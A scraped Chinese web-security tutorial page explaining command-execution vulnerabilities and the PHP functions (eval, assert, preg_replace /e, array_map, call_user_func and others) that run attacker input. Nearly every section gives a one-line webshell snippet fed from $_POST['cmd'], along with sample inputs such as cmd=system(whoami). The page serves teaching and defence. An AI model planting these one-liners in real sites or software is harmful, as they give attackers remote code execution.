当前位置:网站首页>WEB安全基础 - - -命令执行漏洞
WEB安全基础 - - -命令执行漏洞
2022-07-28 02:04:00 【干掉芹菜】
目录
命令执行漏洞简介:
原因:
未对用户输入进行检查过滤,导致用户输入的参数被应用当成命令来执行。 命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:system()、exec()、shell_exec()、eval()、passthru()等函数,代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
危害:
PHP代码执行函数
1.eval
在一些程序语言中,eval 是一个把字符串当作表达式执行而返回一个结果的函数;在另一些之中,它执行多行的代码就好像它们被包括在其中,而不是包括
eval的这一行。eval的输入不一定是字符串;在支持句法抽象的语言(如 Lisp)中,eval的输入将会由抽象句法形式组成。
例子
<?php @eval($_POST['cmd']);?>
eval() 函数传入的参数必须为PHP代码,即要以分号结尾;
弊端:eval函数可以执行任意php代码
2.assert
断言函数,用于在调试过程中捕捉程序的错误。
“断言”在语文中的意思是“断定”、“十分肯定地说”,在编程中是指对某种假设条件进行检测,如果条件成立就不进行任何操作,如果条件不成立就捕捉到这种错误,并打印出错误信息,终止程序执行。如果
assertion是字符串,它将会被 assert() 当做 PHP 代码来执行。
例子:
<?php @assert($_POST['cmd'])?>
不需要以分号结尾
3. preg_replace
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_replace — 执行一个正则表达式的搜索和替换
<?php
preg_replace("/test/e",$_POST["cmd"],"just test");?>
4. array_map
array_map ( callable $callback , array $array1 [, array $... ]
)
将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组
<?php$func=$_GET['func'];$cmd=$_POST['cmd'];$array[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;//array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。?>
5. create_function
create_function(字符串
$args、字符串$code):字符串
从传递的参数动态创建函数,并为其返回唯一名称。
<?php$func = create_function('',$_POST['cmd']);$func();//创建匿名函数执行代码?>
6. call_user_
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
call_user_func — 把第一个参数作为回调函数调用
<?phpcall_user_func("assert",$_POST['cmd']);//传入的参数作为assert函数的参数//cmd=system(whoami)?>
7. call_user_func_array
call_user_func_array(callable
$callback, array$args): mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。
<?php$cmd=$_POST['cmd'];$array[0]=$cmd;call_user_func_array("assert",$array);//将传入的参数作为数组的第一个值传递给assert函数//cmd=system(whoami)?>
8. array_filter
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
用回调函数过滤数组中的元素
array_filter() 函数用回调函数过滤数组中的值。
该函数把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回结果数组中。数组键名保持不变。
<?php$cmd=$_POST['cmd'];$array1=array($cmd);$func =$_GET['func'];array_filter($array1,$func);//用回调函数过滤数组中的元素:array_filter(数组,函数)//?func=system//cmd=whoami?>
9. 双引号
<?php// echo "phpinfo()";echo "{${phpinfo()}}";?>
边栏推荐
- A brief analysis of the differences between functional testing and non functional testing, recommended by Shanghai haokoubei software testing company
- Superparameter adjustment and experiment - training depth neural network | pytorch series (26)
- 【OpenGL】GLES20.glClear
- 写英文IEEE论文的技巧
- JS中的reduce()函数介绍
- [email protected]注解使用
- Some shortest path problems solved by hierarchical graph
- JS 事件对象 offsetX/Y clientX Y PageX Y
- 智能工业设计软件公司天洑C轮数亿元融资
- Center Based 3D object detection and tracking (centerpoint) paper notes
猜你喜欢

Typescript (zero) -- introduction, environment construction, first instance

43.js -- scope chain

Canvas from getting started to persuading friends to give up (graphic version)
![[wechat applet development (VI)] draw the circular progress bar of the music player](/img/eb/9ce5d196970a6d6a887bf3e1d742ee.png)
[wechat applet development (VI)] draw the circular progress bar of the music player

分布式 session 的4个解决方案,你觉得哪个最好?

GAMES101复习:光线追踪(Ray Tracing)

tfx airflow 使用体验

selenium+pytest+allure综合练习

Building of APP automation environment (I)

Chapter III queue
随机推荐
[QNX Hypervisor 2.2用户手册]9.10 pass
trivy【1】工具扫描运用
CSDN TOP1“一个处女座的程序猿“如何通过写作成为百万粉丝博主?
Docker advanced -redis cluster configuration in docker container
Building of APP automation environment (I)
【英雄哥七月集训】第 26天:并查集
【信号去噪】基于卡尔曼滤波实现信号去噪附matlab代码
Why is there no unified quotation for third-party testing fees of software products?
GAMES101复习:光线追踪(Ray Tracing)
[red team] att & CK - file hiding
Skills in writing English IEEE papers
On the problem that sqli labs single quotation marks do not report errors
First knowledge of C language -- structure, branch and loop statements
Retainface use error: modulenotfounderror: no module named'rcnn.cyton.bbox'
style=“width: ___“ VS width=“___“
Email security report in the second quarter: email attacks have soared fourfold, and well-known brands have been used to gain trust
Constant power wireless charging based on stm32
Gbase8s how to delete data in a table with a foreign key relationship
JS 事件对象2 e.charcode字符码 e.keyCode键码 盒子上下左右移动
LoRaWAN中的网关和chirpstack到底如何通信的?UDP?GRPC?MQTT?